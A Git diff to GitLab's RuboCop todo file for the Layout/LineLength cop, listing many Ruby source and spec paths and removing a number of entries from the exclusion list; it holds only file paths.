+ - 'ee/spec/views/compliance_management/compliance_framework/_project_settings.html.haml_spec.rb'
+ - 'ee/spec/views/groups/billings/index.html.haml_spec.rb'
+ - 'ee/spec/workers/ee/issuable_export_csv_worker_spec.rb'
+ - 'lib/api/ci/runners.rb'
+ - 'lib/api/dependency_proxy.rb'
+ - 'lib/api/error_tracking/client_keys.rb'
+ - 'lib/api/error_tracking/project_settings.rb'
+ - 'lib/api/go_proxy.rb'
+ - 'lib/api/helpers/pagination_strategies.rb'
+ - 'lib/api/issue_links.rb'
+ - 'lib/api/metrics/dashboard/annotations.rb'
+ - 'lib/backup/manager.rb'
+ - 'lib/banzai/filter/spaced_link_filter.rb'
+ - 'lib/feature/definition.rb'
+ - 'lib/gitlab/audit/type/definition.rb'
+ - 'lib/gitlab/auth.rb'
+ - 'lib/gitlab/background_migration/populate_operation_visibility_permissions_from_operations.rb'
+ - 'lib/gitlab/changelog/config.rb'
+ - 'lib/gitlab/checks/tag_check.rb'
+ - 'lib/gitlab/ci/parsers/security/validators/schema_validator.rb'
+ - 'lib/gitlab/ci/pipeline/chain/populate.rb'
+ - 'lib/gitlab/ci/pipeline/seed/build.rb'
+ - 'lib/gitlab/config_checker/puma_rugged_checker.rb'
+ - 'lib/gitlab/database/load_balancing/sidekiq_server_middleware.rb'
+ - 'lib/gitlab/database/migration_helpers.rb'
+ - 'lib/gitlab/database/migration_helpers/restrict_gitlab_schema.rb'
+ - 'lib/gitlab/database/migrations/background_migration_helpers.rb'
+ - 'lib/gitlab/database/migrations/batched_background_migration_helpers.rb'
+ - 'lib/gitlab/database/partitioning/partition_manager.rb'
+ - 'lib/gitlab/database/partitioning/sliding_list_strategy.rb'
+ - 'lib/gitlab/database/partitioning_migration_helpers/backfill_partitioned_table.rb'
+ - 'lib/gitlab/database/partitioning_migration_helpers/foreign_key_helpers.rb'
+ - 'lib/gitlab/database/partitioning_migration_helpers/index_helpers.rb'
+ - 'lib/gitlab/database/partitioning_migration_helpers/table_management_helpers.rb'
+ - 'lib/gitlab/database/query_analyzers/prevent_cross_database_modification.rb'
+ - 'lib/gitlab/database/schema_helpers.rb'
+ - 'lib/gitlab/database/shared_model.rb'
+ - 'lib/gitlab/github_import/importer/events/changed_reviewer.rb'
+ - 'lib/gitlab/graphql/authorize/authorize_resource.rb'
+ - 'lib/gitlab/i18n/po_linter.rb'
+ - 'lib/gitlab/import_export/project/import_task.rb'
+ - 'lib/gitlab/path_regex.rb'
+ - 'lib/gitlab/reference_counter.rb'
+ - 'lib/gitlab/regex.rb'
+ - 'lib/gitlab/seeders/ci/runner/runner_fleet_seeder.rb'
+ - 'lib/gitlab/slash_commands/presenters/run.rb'
+ - 'lib/gitlab/tracking/standard_context.rb'
+ - 'lib/tasks/gitlab/db/validate_config.rake'
+ - 'lib/tasks/gitlab/storage.rake'
+ - 'qa/qa/ee/page/project/settings/services/jira.rb'
+ - 'qa/qa/specs/features/api/4_verify/api_variable_inheritance_with_forward_pipeline_variables_spec.rb'
+ - 'qa/qa/support/matchers/eventually_matcher.rb'
+ - 'qa/qa/support/system_logs/kibana.rb'
+ - 'qa/qa/tools/revoke_user_personal_access_tokens.rb'
+ - 'qa/spec/support/page_error_checker_spec.rb'
+ - 'qa/spec/support/system_logs/kibana_spec.rb'
+ - 'rubocop/cop/active_record_association_reload.rb'
+ - 'rubocop/cop/api/grape_array_missing_coerce.rb'
+ - 'rubocop/cop/avoid_becomes.rb'
+ - 'rubocop/cop/avoid_keyword_arguments_in_sidekiq_workers.rb'
+ - 'rubocop/cop/database/establish_connection.rb'
+ - 'rubocop/cop/destroy_all.rb'
+ - 'rubocop/cop/gitlab/avoid_feature_get.rb'
+ - 'rubocop/cop/gitlab/change_timezone.rb'
+ - 'rubocop/cop/gitlab/keys_first_and_values_first.rb'
+ - 'rubocop/cop/gitlab/rails_logger.rb'
+ - 'rubocop/cop/gitlab/rspec/avoid_setup.rb'
+ - 'rubocop/cop/graphql/descriptions.rb'
+ - 'rubocop/cop/graphql/resolver_type.rb'
+ - 'rubocop/cop/group_public_or_visible_to_user.rb'
+ - 'rubocop/cop/ignored_columns.rb'
+ - 'rubocop/cop/inject_enterprise_edition_module.rb'
+ - 'rubocop/cop/migration/add_concurrent_index.rb'
+ - 'rubocop/cop/migration/add_limit_to_text_columns.rb'
+ - 'rubocop/cop/migration/create_table_with_foreign_keys.rb'
+ - 'rubocop/cop/migration/prevent_strings.rb'
+ - 'rubocop/cop/migration/remove_concurrent_index.rb'
+ - 'rubocop/cop/migration/update_column_in_batches.rb'
+ - 'rubocop/cop/migration/with_lock_retries_with_change.rb'
+ - 'rubocop/cop/performance/active_record_subtransaction_methods.rb'
+ - 'rubocop/cop/performance/active_record_subtransactions.rb'
+ - 'rubocop/cop/performance/ar_count_each.rb'
+ - 'rubocop/cop/performance/ar_exists_and_present_blank.rb'
+ - 'rubocop/cop/performance/readlines_each.rb'
+ - 'rubocop/cop/project_path_helper.rb'
+ - 'rubocop/cop/redis_queue_usage.rb'
+ - 'rubocop/cop/rspec/factory_bot/inline_association.rb'
+ - 'rubocop/cop/rspec/factory_bot/strategy_in_callback.rb'
+ - 'rubocop/cop/rspec/have_gitlab_http_status.rb'
+ - 'rubocop/cop/sidekiq_api_usage.rb'
+ - 'rubocop/cop/user_admin.rb'
+ - 'scripts/create-pipeline-failure-incident.rb'
+ - 'scripts/generate-failed-pipeline-slack-message.rb'
+ - 'scripts/lib/glfm/parse_examples.rb'
+ - 'scripts/lib/glfm/update_example_snapshots.rb'
+ - 'scripts/lib/glfm/update_specification.rb'
+ - 'scripts/lib/glfm/verify_all_generated_files_are_up_to_date.rb'
+ - 'scripts/packages/automated_cleanup.rb'
+ - 'spec/contracts/provider_specs/helpers/provider/contract_source_helper_spec.rb'
+ - 'spec/controllers/graphql_controller_spec.rb'
+ - 'spec/controllers/projects/deploy_keys_controller_spec.rb'
+ - 'spec/features/groups/show_spec.rb'
+ - 'spec/features/projects/files/user_browses_files_spec.rb'
+ - 'spec/features/projects/files/user_creates_directory_spec.rb'
+ - 'spec/features/projects/files/user_creates_files_spec.rb'
+ - 'spec/features/projects/files/user_deletes_files_spec.rb'
+ - 'spec/features/projects/files/user_replaces_files_spec.rb'
+ - 'spec/features/projects/issues/viewing_issues_with_external_authorization_enabled_spec.rb'
+ - 'spec/features/projects/pipelines/pipeline_spec.rb'
+ - 'spec/finders/groups/projects_requiring_authorizations_refresh/on_direct_membership_finder_spec.rb'
+ - 'spec/helpers/markup_helper_spec.rb'
+ - 'spec/lib/banzai/filter/inline_grafana_metrics_filter_spec.rb'
+ - 'spec/lib/banzai/filter/truncate_visible_filter_spec.rb'
+ - 'spec/lib/gitlab/background_migration/batched_migration_job_spec.rb'
+ - 'spec/lib/gitlab/ci/ansi2html_spec.rb'
+ - 'spec/lib/gitlab/ci/parsers/sbom/validators/cyclonedx_schema_validator_spec.rb'
+ - 'spec/lib/gitlab/ci/parsers/security/validators/schema_validator_spec.rb'
+ - 'spec/lib/gitlab/ci/pipeline/chain/populate_spec.rb'
+ - 'spec/lib/gitlab/ci/status/bridge/factory_spec.rb'
+ - 'spec/lib/gitlab/ci/templates/Jobs/code_quality_gitlab_ci_yaml_spec.rb'
+ - 'spec/lib/gitlab/ci/templates/Jobs/sast_iac_gitlab_ci_yaml_spec.rb'
+ - 'spec/lib/gitlab/ci/templates/Jobs/sast_iac_latest_gitlab_ci_yaml_spec.rb'
+ - 'spec/lib/gitlab/ci/templates/Jobs/test_gitlab_ci_yaml_spec.rb'
+ - 'spec/lib/gitlab/ci/templates/npm_spec.rb'
+ - 'spec/lib/gitlab/ci/templates/themekit_gitlab_ci_yaml_spec.rb'
+ - 'spec/lib/gitlab/database/background_migration/batched_migration_runner_spec.rb'
+ - 'spec/lib/gitlab/database/migrations/batched_background_migration_helpers_spec.rb'
+ - 'spec/lib/gitlab/email/message/build_ios_app_guide_spec.rb'
+ - 'spec/lib/gitlab/email/message/in_product_marketing/helper_spec.rb'
+ - 'spec/lib/gitlab/github_import/markdown_text_spec.rb'
+ - 'spec/lib/gitlab/github_import/representation/issue_event_spec.rb'
+ - 'spec/lib/gitlab/insecure_key_fingerprint_spec.rb'
+ - 'spec/lib/gitlab/metrics/dashboard/stages/metric_endpoint_inserter_spec.rb'
+ - 'spec/lib/gitlab/prometheus/queries/validate_query_spec.rb'
+ - 'spec/lib/gitlab/redis/multi_store_spec.rb'
+ - 'spec/lib/gitlab/reference_counter_spec.rb'
+ - 'spec/lib/gitlab/usage/metrics/instrumentations/count_bulk_imports_entities_metric_spec.rb'
+ - 'spec/lib/gitlab/usage/metrics/instrumentations/count_imported_projects_metric_spec.rb'
+ - 'spec/lib/gitlab/usage/metrics/instrumentations/count_imported_projects_total_metric_spec.rb'
+ - 'spec/lib/gitlab/usage/metrics/instrumentations/gitlab_for_jira_app_direct_installations_count_metric_spec.rb'
+ - 'spec/lib/gitlab/usage/metrics/instrumentations/gitlab_for_jira_app_proxy_installations_count_metric_spec.rb'
+ - 'spec/lib/gitlab/usage/metrics/instrumentations/in_product_marketing_email_cta_clicked_metric_spec.rb'
+ - 'spec/lib/gitlab/usage/metrics/instrumentations/in_product_marketing_email_sent_metric_spec.rb'
+ - 'spec/lib/gitlab/utils/gzip_spec.rb'
+ - 'spec/mailers/emails/identity_verification_spec.rb'
+ - 'spec/mailers/emails/projects_spec.rb'
+ - 'spec/models/active_session_spec.rb'
+ - 'spec/models/integrations/chat_message/note_message_spec.rb'
+ - 'spec/models/integrations/chat_message/pipeline_message_spec.rb'
+ - 'spec/models/integrations/chat_message/push_message_spec.rb'
+ - 'spec/models/integrations/chat_message/wiki_page_message_spec.rb'
+ - 'spec/models/member_spec.rb'
+ - 'spec/models/members/member_role_spec.rb'
+ - 'spec/models/operations/feature_flags_client_spec.rb'
+ - 'spec/models/ssh_host_key_spec.rb'
+ - 'spec/presenters/ci/pipeline_presenter_spec.rb'
+ - 'spec/presenters/deploy_key_presenter_spec.rb'
+ - 'spec/presenters/key_presenter_spec.rb'
+ - 'spec/presenters/releases/link_presenter_spec.rb'
+ - 'spec/requests/api/graphql/mutations/ci/pipeline_schedule_delete_spec.rb'
+ - 'spec/requests/api/graphql/mutations/ci/pipeline_schedule_play_spec.rb'
+ - 'spec/requests/api/graphql/mutations/clusters/agents/delete_spec.rb'
+ - 'spec/requests/api/releases_spec.rb'
+ - 'spec/requests/api/users_spec.rb'
+ - 'spec/requests/self_monitoring_project_spec.rb'
+ - 'spec/rubocop/cop/api/grape_array_missing_coerce_spec.rb'
+ - 'spec/rubocop/cop/group_public_or_visible_to_user_spec.rb'
+ - 'spec/rubocop/cop/migration/create_table_with_foreign_keys_spec.rb'
+ - 'spec/scripts/lib/glfm/update_example_snapshots_spec.rb'
+ - 'spec/serializers/pipeline_serializer_spec.rb'
+ - 'spec/services/alert_management/alerts/update_service_spec.rb'
+ - 'spec/services/ci/create_downstream_pipeline_service_spec.rb'
+ - 'spec/services/ci/create_pipeline_service/rules_spec.rb'
+ - 'spec/services/ci/create_pipeline_service_spec.rb'
+ - 'spec/services/ci/job_artifacts/delete_service_spec.rb'
+ - 'spec/services/preview_markdown_service_spec.rb'
+ - 'spec/services/prometheus/proxy_variable_substitution_service_spec.rb'
+ - 'spec/services/snippets/create_service_spec.rb'
+ - 'spec/services/users/email_verification/validate_token_service_spec.rb'
+ - 'spec/services/work_items/parent_links/create_service_spec.rb'
+ - 'spec/support/before_all_adapter.rb'
+ - 'spec/support/helpers/database/multiple_databases_helpers.rb'
+ - 'spec/support/helpers/redis_without_keys.rb'
+ - 'spec/support/matchers/have_gitlab_http_status.rb'
+ - 'spec/support/memory_instrumentation_helper.rb'
+ - 'spec/support/shared_examples/features/project_upload_files_shared_examples.rb'
+ - 'spec/support/shared_examples/lib/email/email_shared_examples.rb'
+ - 'spec/support/shared_examples/requests/api/notes_shared_examples.rb'
+ - 'spec/support/shared_examples/requests/self_monitoring_shared_examples.rb'
+ - 'spec/tooling/lib/tooling/kubernetes_client_spec.rb'
+ - 'spec/uploaders/file_mover_spec.rb'
+ - 'spec/views/devise/shared/_signup_box.html.haml_spec.rb'
+ - 'spec/views/projects/pages/show.html.haml_spec.rb'
+ - 'spec/workers/integrations/irker_worker_spec.rb'
diff --git a/.rubocop_todo/layout/line_length.yml b/.rubocop_todo/layout/line_length.yml
index 07e7b374db2..b55a274d06b 100644
--- a/.rubocop_todo/layout/line_length.yml
+++ b/.rubocop_todo/layout/line_length.yml
@@ -17,7 +17,6 @@ Layout/LineLength:
- 'app/controllers/concerns/analytics/cycle_analytics/stage_actions.rb'
- 'app/controllers/concerns/clientside_preview_csp.rb'
- 'app/controllers/concerns/confirm_email_warning.rb'
- - 'app/controllers/concerns/cycle_analytics_params.rb'
- 'app/controllers/concerns/integrations/actions.rb'
- 'app/controllers/concerns/issuable_actions.rb'
- 'app/controllers/concerns/issuable_collections.rb'
@@ -43,7 +42,6 @@ Layout/LineLength:
- 'app/controllers/groups/settings/integrations_controller.rb'
- 'app/controllers/groups/settings/repository_controller.rb'
- 'app/controllers/groups_controller.rb'
- - 'app/controllers/import/available_namespaces_controller.rb'
- 'app/controllers/import/base_controller.rb'
- 'app/controllers/import/bitbucket_controller.rb'
- 'app/controllers/import/bitbucket_server_controller.rb'
@@ -314,7 +312,6 @@ Layout/LineLength:
- 'app/models/clusters/cluster.rb'
- 'app/models/commit_range.rb'
- 'app/models/commit_status.rb'
- - 'app/models/concerns/analytics/cycle_analytics/stage.rb'
- 'app/models/concerns/analytics/cycle_analytics/stage_event_model.rb'
- 'app/models/concerns/avatarable.rb'
- 'app/models/concerns/bulk_insert_safe.rb'
@@ -329,7 +326,6 @@ Layout/LineLength:
- 'app/models/concerns/enums/vulnerability.rb'
- 'app/models/concerns/fast_destroy_all.rb'
- 'app/models/concerns/group_descendant.rb'
- - 'app/models/concerns/has_user_type.rb'
- 'app/models/concerns/id_in_ordered.rb'
- 'app/models/concerns/ignorable_columns.rb'
- 'app/models/concerns/iid_routes.rb'
@@ -465,7 +461,6 @@ Layout/LineLength:
- 'app/models/wiki_page.rb'
- 'app/policies/base_policy.rb'
- 'app/policies/global_policy.rb'
- - 'app/policies/group_member_policy.rb'
- 'app/policies/group_policy.rb'
- 'app/policies/project_policy.rb'
- 'app/presenters/blob_presenter.rb'
@@ -520,12 +515,7 @@ Layout/LineLength:
- 'app/services/ci/runners/unregister_runner_service.rb'
- 'app/services/clusters/agent_tokens/create_service.rb'
- 'app/services/clusters/agents/delete_service.rb'
- - 'app/services/clusters/applications/check_progress_service.rb'
- - 'app/services/clusters/aws/finalize_creation_service.rb'
- - 'app/services/clusters/aws/verify_provision_status_service.rb'
- 'app/services/clusters/build_kubernetes_namespace_service.rb'
- - 'app/services/clusters/gcp/finalize_creation_service.rb'
- - 'app/services/clusters/gcp/verify_provision_status_service.rb'
- 'app/services/clusters/integrations/create_service.rb'
- 'app/services/clusters/integrations/prometheus_health_check_service.rb'
- 'app/services/clusters/kubernetes/create_or_update_service_account_service.rb'
@@ -717,7 +707,6 @@ Layout/LineLength:
- 'app/workers/merge_request_mergeability_check_worker.rb'
- 'app/workers/object_storage/migrate_uploads_worker.rb'
- 'app/workers/packages/maven/metadata/sync_worker.rb'
- - 'app/workers/personal_access_tokens/expired_notification_worker.rb'
- 'app/workers/pipeline_metrics_worker.rb'
- 'app/workers/repository_fork_worker.rb'
- 'app/workers/repository_import_worker.rb'
@@ -766,49 +755,6 @@ Layout/LineLength:
- 'danger/roulette/Dangerfile'
- 'danger/vue_shared_documentation/Dangerfile'
- 'danger/z_metadata/Dangerfile'
- - 'db/migrate/20210302103851_add_deployed_deployment_id_index_to_project_pages_metadata.rb'
- - 'db/migrate/20210302155904_remove_index_for_security_orchestration_policy.rb'
- - 'db/migrate/20210302160544_add_index_to_security_orchestration_policy.rb'
- - 'db/migrate/20210305031822_create_dast_site_profile_variables.rb'
- - 'db/migrate/20210305182855_create_ci_unit_test_failures.rb'
- - 'db/migrate/20210313045845_add_verification_indexes_to_snippet_repositories.rb'
- - 'db/migrate/20210316171009_create_packages_helm_file_metadata.rb'
- - 'db/migrate/20210317035357_create_dast_profiles_pipelines.rb'
- - 'db/migrate/20210317123054_add_throttle_package_registry_columns.rb'
- - 'db/migrate/20210323131543_add_external_approval_rule_foreign_key_to_status_check_responses.rb'
- - 'db/migrate/20210325152011_add_verification_indexes_to_ci_pipeline_artifacts.rb'
- - 'db/migrate/20210326190903_create_vulnerability_finding_evidences.rb'
- - 'db/migrate/20210409084242_create_index_on_notes_for_cherry_picked_merge_requests.rb'
- - 'db/migrate/20210412111213_create_security_orchestration_policy_rule_schedule.rb'
- - 'db/migrate/20210414133310_add_bulk_import_export_uploads_table.rb'
- - 'db/migrate/20210415142700_add_url_limit_to_pipeline_validation.rb'
- - 'db/migrate/20210415172516_create_vulnerability_finding_evidence_requests.rb'
- - 'db/migrate/20210416172516_create_vulnerability_finding_evidence_responses.rb'
- - 'db/migrate/20210420173030_add_verification_indexes_to_terraform_state_versions.rb'
- - 'db/migrate/20210420210642_recreate_index_for_project_deployments_with_environment_id_and_date_at.rb'
- - 'db/migrate/20210422142647_add_project_id_next_run_at_index_to_container_expiration_policies.rb'
- - 'db/migrate/20210422195929_create_elastic_reindexing_slices.rb'
- - 'db/migrate/20210423054022_create_dast_site_profiles_pipelines.rb'
- - 'db/migrate/20210423054537_add_dast_site_profile_id_fk_to_dast_site_profiles_pipelines.rb'
- - 'db/migrate/20210423054846_add_ci_pipeline_id_fk_to_dast_site_profiles_pipelines.rb'
- - 'db/migrate/20210423171304_re_order_fk_source_project_id_in_merge_requests.rb'
- - 'db/migrate/20210427062807_add_index_to_batched_migration_jobs_status.rb'
- - 'db/migrate/20210427094931_add_execution_order_index_to_batched_background_migration_jobs.rb'
- - 'db/migrate/20210429032320_add_escalation_rules.rb'
- - 'db/migrate/20210505170152_add_verification_indexes_to_merge_request_diff_details_table.rb'
- - 'db/migrate/20210506150833_create_vulnerability_finding_evidence_headers.rb'
- - 'db/migrate/20210511104929_add_epic_board_recent_visits_table.rb'
- - 'db/migrate/20210511165250_add_foreign_key_to_lfs_objects_projects.rb'
- - 'db/migrate/20210512120122_add_pending_builds_table.rb'
- - 'db/migrate/20210521073920_drop_devops_adoption_namespace_uniqueness.rb'
- - 'db/migrate/20210526181821_add_foreign_key_for_latest_pipeline_id_to_ci_pipelines.rb'
- - 'db/migrate/20210527194558_create_ci_job_token_project_scope_links.rb'
- - 'db/migrate/20210529164247_change_iterations_title_uniqueness_index.rb'
- - 'db/migrate/20210601123341_add_running_builds_table.rb'
- - 'db/migrate/20210601125410_add_runners_created_at_index.rb'
- - 'db/migrate/20210601132134_remove_partial_index_for_hashed_storage_migration.rb'
- - 'db/migrate/20210601133459_replace_runners_contacted_at_index.rb'
- - 'db/migrate/20210602122233_add_runners_description_index.rb'
- 'db/migrate/20210604032738_create_dast_site_profiles_builds.rb'
- 'db/migrate/20210604034354_add_dast_site_profile_id_fk_to_dast_site_profiles_builds.rb'
- 'db/migrate/20210604051330_create_dast_scanner_profiles_builds.rb'
@@ -912,16 +858,6 @@ Layout/LineLength:
- 'db/migrate/20220310101118_update_holder_name_limit.rb'
- 'db/migrate/20220314184209_add_group_fk_to_protected_environment_approval_rules.rb'
- 'db/migrate/20220314204009_add_approval_rule_fk_to_deployment_approvals.rb'
- - 'db/post_migrate/20210328214434_remove_temporary_index_from_vulnerabilities_table.rb'
- - 'db/post_migrate/20210401131948_move_container_registry_enabled_to_project_features2.rb'
- - 'db/post_migrate/20210402005225_add_source_and_level_index_on_notification_settings.rb'
- - 'db/post_migrate/20210407150240_confirm_support_bot_user.rb'
- - 'db/post_migrate/20210415155043_move_container_registry_enabled_to_project_features3.rb'
- - 'db/post_migrate/20210430121542_backfill_ci_build_trace_sections_for_bigint_conversion.rb'
- - 'db/post_migrate/20210505092746_create_partial_covering_index_for_pending_builds.rb'
- - 'db/post_migrate/20210513163904_cleanup_move_container_registry_enabled_to_project_feature.rb'
- - 'db/post_migrate/20210514063252_schedule_cleanup_orphaned_lfs_objects_projects.rb'
- - 'db/post_migrate/20210526160133_remove_segment_selections_table.rb'
- 'db/post_migrate/20210606143426_add_index_for_container_registry_access_level.rb'
- 'db/post_migrate/20210611080951_fix_missing_traversal_ids.rb'
- 'db/post_migrate/20210615234935_fix_batched_migrations_old_format_job_arguments.rb'
@@ -969,7 +905,6 @@ Layout/LineLength:
- 'db/post_migrate/20211112113300_remove_ci_pipeline_chat_data_fk_on_chat_names.rb'
- 'db/post_migrate/20211118194239_drop_invalid_remediations.rb'
- 'db/post_migrate/20211201101541_drop_clusters_applications_runners_ci_runners_fk.rb'
- - 'db/post_migrate/20211206162601_cleanup_after_add_primary_email_to_emails_if_user_confirmed.rb'
- 'db/post_migrate/20211207173510_remove_extra_finding_evidence_tables_foreign_keys.rb'
- 'db/post_migrate/20211207173511_remove_extra_finding_evidence_tables.rb'
- 'db/post_migrate/20211209103048_backfill_project_namespaces_for_group.rb'
@@ -1175,7 +1110,6 @@ Layout/LineLength:
- 'ee/app/helpers/billing_plans_helper.rb'
- 'ee/app/helpers/ee/application_helper.rb'
- 'ee/app/helpers/ee/button_helper.rb'
- - 'ee/app/helpers/ee/environments_helper.rb'
- 'ee/app/helpers/ee/feature_flags_helper.rb'
- 'ee/app/helpers/ee/geo_helper.rb'
- 'ee/app/helpers/ee/groups/analytics/cycle_analytics_helper.rb'
@@ -1213,7 +1147,6 @@ Layout/LineLength:
- 'ee/app/mailers/ee/emails/profile.rb'
- 'ee/app/mailers/ee/preview/notify_preview.rb'
- 'ee/app/mailers/emails/namespace_storage_usage_mailer.rb'
- - 'ee/app/models/analytics/cycle_analytics/group_stage.rb'
- 'ee/app/models/approval_merge_request_rule.rb'
- 'ee/app/models/approval_project_rule.rb'
- 'ee/app/models/approval_state.rb'
@@ -1429,7 +1362,6 @@ Layout/LineLength:
- 'ee/app/services/merge_trains/create_pipeline_service.rb'
- 'ee/app/services/merge_trains/refresh_merge_request_service.rb'
- 'ee/app/services/personal_access_tokens/rotation_verifier_service.rb'
- - 'ee/app/services/projects/licenses/create_policy_service.rb'
- 'ee/app/services/projects/mark_for_deletion_service.rb'
- 'ee/app/services/projects/update_mirror_service.rb'
- 'ee/app/services/resource_events/change_weight_service.rb'
@@ -1536,9 +1468,7 @@ Layout/LineLength:
- 'ee/lib/api/project_push_rule.rb'
- 'ee/lib/api/protected_environments.rb'
- 'ee/lib/api/resource_iteration_events.rb'
- - 'ee/lib/api/scim.rb'
- 'ee/lib/api/status_checks.rb'
- - 'ee/lib/api/vulnerability_findings.rb'
- 'ee/lib/api/vulnerability_issue_links.rb'
- 'ee/lib/ee/api/deployments.rb'
- 'ee/lib/ee/api/entities/application_setting.rb'
@@ -1590,7 +1520,6 @@ Layout/LineLength:
- 'ee/lib/ee/gitlab/ci/pipeline/chain/create_cross_database_associations.rb'
- 'ee/lib/ee/gitlab/ci/pipeline/chain/validate/after_config.rb'
- 'ee/lib/ee/gitlab/ci/pipeline/chain/validate/security_orchestration_policy.rb'
- - 'ee/lib/ee/gitlab/ci/reports/security/reports.rb'
- 'ee/lib/ee/gitlab/ci/status/build/manual.rb'
- 'ee/lib/ee/gitlab/git_access.rb'
- 'ee/lib/ee/gitlab/import_export/after_export_strategies/custom_template_export_import_strategy.rb'
@@ -1601,7 +1530,6 @@ Layout/LineLength:
- 'ee/lib/ee/gitlab/quick_actions/issue_actions.rb'
- 'ee/lib/ee/gitlab/rack_attack.rb'
- 'ee/lib/ee/gitlab/repository_size_checker.rb'
- - 'ee/lib/ee/gitlab/scim/deprovision_service.rb'
- 'ee/lib/ee/gitlab/usage_data.rb'
- 'ee/lib/ee/sidebars/groups/panel.rb'
- 'ee/lib/ee/sidebars/projects/menus/security_compliance_menu.rb'
@@ -1724,7 +1652,6 @@ Layout/LineLength:
- 'ee/spec/controllers/projects/subscriptions_controller_spec.rb'
- 'ee/spec/controllers/projects/vulnerability_feedback_controller_spec.rb'
- 'ee/spec/controllers/projects_controller_spec.rb'
- - 'ee/spec/controllers/registrations/welcome_controller_spec.rb'
- 'ee/spec/controllers/subscriptions/groups_controller_spec.rb'
- 'ee/spec/controllers/subscriptions_controller_spec.rb'
- 'ee/spec/elastic/migrate/migration_shared_examples.rb'
@@ -1859,7 +1786,6 @@ Layout/LineLength:
- 'ee/spec/finders/productivity_analytics_finder_spec.rb'
- 'ee/spec/finders/projects/integrations/jira/by_ids_finder_spec.rb'
- 'ee/spec/finders/projects/integrations/jira/issues_finder_spec.rb'
- - 'ee/spec/finders/requirements_management/requirements_finder_spec.rb'
- 'ee/spec/finders/security/findings_finder_spec.rb'
- 'ee/spec/finders/security/pipeline_vulnerabilities_finder_spec.rb'
- 'ee/spec/finders/security/training_providers/base_url_finder_spec.rb'
@@ -1979,7 +1905,6 @@ Layout/LineLength:
- 'ee/spec/helpers/ee/subscribable_banner_helper_spec.rb'
- 'ee/spec/helpers/ee/users/callouts_helper_spec.rb'
- 'ee/spec/helpers/ee/version_check_helper_spec.rb'
- - 'ee/spec/helpers/ee/welcome_helper_spec.rb'
- 'ee/spec/helpers/epics_helper_spec.rb'
- 'ee/spec/helpers/gitlab_subscriptions/upcoming_reconciliation_helper_spec.rb'
- 'ee/spec/helpers/groups/security_features_helper_spec.rb'
@@ -2040,14 +1965,12 @@ Layout/LineLength:
- 'ee/spec/lib/ee/gitlab/elastic/helper_spec.rb'
- 'ee/spec/lib/ee/gitlab/email/handler/service_desk_handler_spec.rb'
- 'ee/spec/lib/ee/gitlab/etag_caching/router/rails_spec.rb'
- - 'ee/spec/lib/ee/gitlab/git_access_snippet_spec.rb'
- 'ee/spec/lib/ee/gitlab/gon_helper_spec.rb'
- 'ee/spec/lib/ee/gitlab/group_search_results_spec.rb'
- 'ee/spec/lib/ee/gitlab/import_export/project/tree_restorer_spec.rb'
- 'ee/spec/lib/ee/gitlab/import_export/wiki_repo_saver_spec.rb'
- 'ee/spec/lib/ee/gitlab/repo_path_spec.rb'
- 'ee/spec/lib/ee/gitlab/repository_size_checker_spec.rb'
- - 'ee/spec/lib/ee/gitlab/scim/deprovision_service_spec.rb'
- 'ee/spec/lib/ee/gitlab/security/scan_configuration_spec.rb'
- 'ee/spec/lib/ee/gitlab/url_builder_spec.rb'
- 'ee/spec/lib/ee/gitlab/usage/service_ping/payload_keys_processor_spec.rb'
@@ -2202,7 +2125,6 @@ Layout/LineLength:
- 'ee/spec/migrations/update_vulnerability_occurrences_location_spec.rb'
- 'ee/spec/models/allowed_email_domain_spec.rb'
- 'ee/spec/models/analytics/cycle_analytics/group_level_spec.rb'
- - 'ee/spec/models/analytics/cycle_analytics/group_stage_spec.rb'
- 'ee/spec/models/analytics/devops_adoption/enabled_namespace_spec.rb'
- 'ee/spec/models/analytics/devops_adoption/snapshot_spec.rb'
- 'ee/spec/models/app_sec/fuzzing/coverage/corpus_spec.rb'
@@ -2266,7 +2188,6 @@ Layout/LineLength:
- 'ee/spec/models/ee/project_authorization_spec.rb'
- 'ee/spec/models/ee/protected_branch_spec.rb'
- 'ee/spec/models/ee/service_desk_setting_spec.rb'
- - 'ee/spec/models/ee/user_highest_role_spec.rb'
- 'ee/spec/models/ee/user_spec.rb'
- 'ee/spec/models/ee/vulnerability_spec.rb'
- 'ee/spec/models/elastic/migration_record_spec.rb'
@@ -2426,7 +2347,6 @@ Layout/LineLength:
- 'ee/spec/requests/api/graphql/project/incident_management/escalation_policies_spec.rb'
- 'ee/spec/requests/api/graphql/project/incident_management/escalation_policy/rules_spec.rb'
- 'ee/spec/requests/api/graphql/project/incident_management/oncall_shifts_spec.rb'
- - 'ee/spec/requests/api/graphql/project/issues_spec.rb'
- 'ee/spec/requests/api/graphql/project/pipeline/security_report_summary_spec.rb'
- 'ee/spec/requests/api/graphql/project/requirements_management/requirements_spec.rb'
- 'ee/spec/requests/api/graphql/project/vulnerability_severities_count_spec.rb'
@@ -2462,7 +2382,6 @@ Layout/LineLength:
- 'ee/spec/requests/api/related_epic_links_spec.rb'
- 'ee/spec/requests/api/releases_spec.rb'
- 'ee/spec/requests/api/resource_iteration_events_spec.rb'
- - 'ee/spec/requests/api/scim_spec.rb'
- 'ee/spec/requests/api/search_spec.rb'
- 'ee/spec/requests/api/settings_spec.rb'
- 'ee/spec/requests/api/status_checks_spec.rb'
@@ -2587,7 +2506,6 @@ Layout/LineLength:
- 'ee/spec/services/ee/issues/move_service_spec.rb'
- 'ee/spec/services/ee/issues/update_service_spec.rb'
- 'ee/spec/services/ee/members/destroy_service_spec.rb'
- - 'ee/spec/services/ee/merge_requests/after_create_service_spec.rb'
- 'ee/spec/services/ee/merge_requests/create_from_vulnerability_data_service_spec.rb'
- 'ee/spec/services/ee/merge_requests/post_merge_service_spec.rb'
- 'ee/spec/services/ee/merge_requests/refresh_service_spec.rb'
@@ -2803,7 +2721,6 @@ Layout/LineLength:
- 'ee/spec/views/layouts/nav/sidebar/_project.html.haml_spec.rb'
- 'ee/spec/views/operations/environments.html.haml_spec.rb'
- 'ee/spec/views/projects/security/discover/show.html.haml_spec.rb'
- - 'ee/spec/views/registrations/welcome/show.html.haml_spec.rb'
- 'ee/spec/views/shared/_mirror_status.html.haml_spec.rb'
- 'ee/spec/views/shared/_namespace_user_cap_reached_alert.html.haml_spec.rb'
- 'ee/spec/views/shared/billings/_eoa_bronze_plan_banner.html.haml_spec.rb'
@@ -2830,7 +2747,6 @@ Layout/LineLength:
- 'ee/spec/workers/geo/destroy_worker_spec.rb'
- 'ee/spec/workers/geo/project_sync_worker_spec.rb'
- 'ee/spec/workers/geo/prune_event_log_worker_spec.rb'
